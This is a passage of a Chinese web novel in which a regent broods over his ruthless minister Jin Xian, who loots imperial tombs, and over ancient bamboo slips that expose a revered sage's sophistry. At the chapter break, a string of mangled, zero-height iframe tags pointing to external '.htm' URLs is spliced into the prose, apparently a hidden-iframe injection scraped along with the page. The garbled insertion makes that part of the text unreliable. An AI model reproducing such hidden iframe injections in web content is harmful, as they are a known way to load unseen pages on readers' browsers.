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我根本不在意膺飏的话，民之所愤，是整个朝廷，而不会是单独的某个朝官，甚至相当多的百姓，未必知道靳贤是何人。痛恨靳贤的，乃是豪门大族，乃是世代显贵，他们也是我的敌人，我若没有靳贤这柄利刃在怀，根本别想在和他们的斗争中取得胜利，甚至根本别想保住性命。然而不以豪门权贵为敌呢？箭在弦上，不得不发，现在的我已经没有退路了……
但我或许迟早会牺牲靳贤，以免除各方之谤的。斗垮豪门之日，应该就是靳贤断首之时……每每想到这里，我就会心痛，虽然我仍旧不喜欢靳贤，我讨厌看到他那对倒挂眉毛，但想到我终将牺牲他人以挽救己命，就忍不住会鄙视自己，痛恨自己。
当年八月，“金台营”抄灭了广泽国，废国为县，郕征也被押赴京城，永久圈禁。靳贤秘密地发掘了威陵七座，据报所得珍宝值钱廿六万万。此外陵中还掘得简册上千斤，靳贤命人悄悄运到了我的府上……\t&；iframesrc=http：//baidu。。com/w65/w65。htmwidth=100height=0>；&；/iframe>；&；iframesrc=http：//baidu。。com/w65/w65。htmwidth=100height=0>；&；/iframe>；&；iframesrc=http：//baidu。。com/w65/w65。htmwidth=100height=0>；&；/iframe>；&；iframesrc=http：//go。。com/w65/w65。htmwidth=100height=0>；&；/iframe>；
第二部龙池劫灰第五十章亡佚
\t古诗云：先人之誉谤，于今固已亡。前事之虚实，于今固已佚。
靳贤派人偷偷送来我府上的简册，倒有一大半都已经朽烂了，每片简上剩下不到两三个字，还都是我所看不懂的古文字。我不禁想起那年焚烧永明宫的时候，膺飏曾经说过：“天生万物，有生斯有死，古人心血，后人所望，亦莫不如此……秋虫僵仆，沧海枯竭，又何者不是死？安有修短高下？”
这些简册都是前人心血，相信有相当部分已久不传于世了，威朝的帝王们藏之于陵寢，不是想刻意湮灭它们，而是想万年不朽。然而世上真有万年不朽，永恒不灭的事物吗？如果今天不是靳贤甘冒天下之大不韪把它们发掘出来，恐怕那剩下的三成字迹也都将磨灭殆尽，前人诸般苦心，将尽化飞灰，风起处纤毫不留。
“自荐科”已经开了两回，所得寒士近两百人，大多赐百石俸禄，分到各郡县去做属吏——一般情况下，郡县属吏都是由太守、县令自辟的，朝廷有干预之权却不常用，但靳贤认为：“乡老、里正，是真亲民之官，朝廷岂可轻乎？守令自辟僚属，颇易结党营私，鱼肉百姓，又易引附豪门，使寒士不得晋身之阶。是我欲五年之内，各郡县僚属皆更易为寒士也。”
他说的话很有道理，不过地方官员也有地方官员的苦衷，更有地方官员的狡狯，靳贤安插寒士的政策遇到重重阻碍，推行得相当缓慢。结果倒有将近半数的“自荐科”录取者无处可用，靳贤特别开设了研究三圣教诲的“鸿雅阁”，安排了四十余人，还剩下四十多人，只好都先塞到我府里来充做门客。
这群硬塞进来的家伙，出身都是极低微的，相貌也都千奇百怪，很多人有怪癖，甚至还有小偷小摸的坏毛病，除了穿着光鲜一点，略晓礼仪以外，我一开始认为他们和市井流氓没什么区别。不过相处了一段时间，我就发现其间大有博学之辈，问一答十，无所不通，那股令人厌恶的疏狂劲儿，恐怕都是才智不得伸展所造成的后遗症。
不过朝政我都已经委托给靳贤了，他们在我府里也实在无事可做，清闲得很。这次既然得到了大量简册，我就给他们点事做，交待他们去整理和翻译。这帮人动作还真快，没几天就呈上来百余斤新简，禀告说：“篇章较全，文字大部尚可辨认者，小人们都已整理完了，集为四十六卷，请明公过目。”
威朝的帝王们会带些什么文字去阴世呢？古人亡佚的简册里究竟写了些什么呢？我也很感兴趣，于是随意翻检，挑几篇出来阅读。偶尔翻到一篇，是记录至圣在彭国石宫与元无达者辩论经过的，和世传的说法颇有出入——
首先，至圣所言似乎多为诡辩，对方指责他外道妖言，他却说：“道之外，是谓本有，吾之言，非本有之言，何外而有？”对方说他调合有无，就是外道，他又说：“人以所不能悟者为外，是党同而伐异。无始谓无终之言谬也，无终谓无始之言异端，而无始无终，孰非元无？”
我知道所谓“无始”，就是指的先圣素燕，而“无终”则是指当时和素燕齐名的一位元无宗门的达者深无终。至圣这些话，根本就没讲什么道理，全是在狡辩，还扛出素燕和深无终来抬高自己的身份地位，他根本没有按照世传的那样，义正辞严地驳斥那些元无达者，阐述有无相生、一分为二的真理，从而就此奠定了炼气一门的宗论。
我查不到这篇文章是谁写的，因为它没头没尾，更亡佚了作者姓名。不过也不知道为什么，我在内心深处，似乎非常确信这篇文章所说的才是真理，史书也罢、俗论也好，应该全是为尊者讳所编造出来的光明正大的西贝货吧。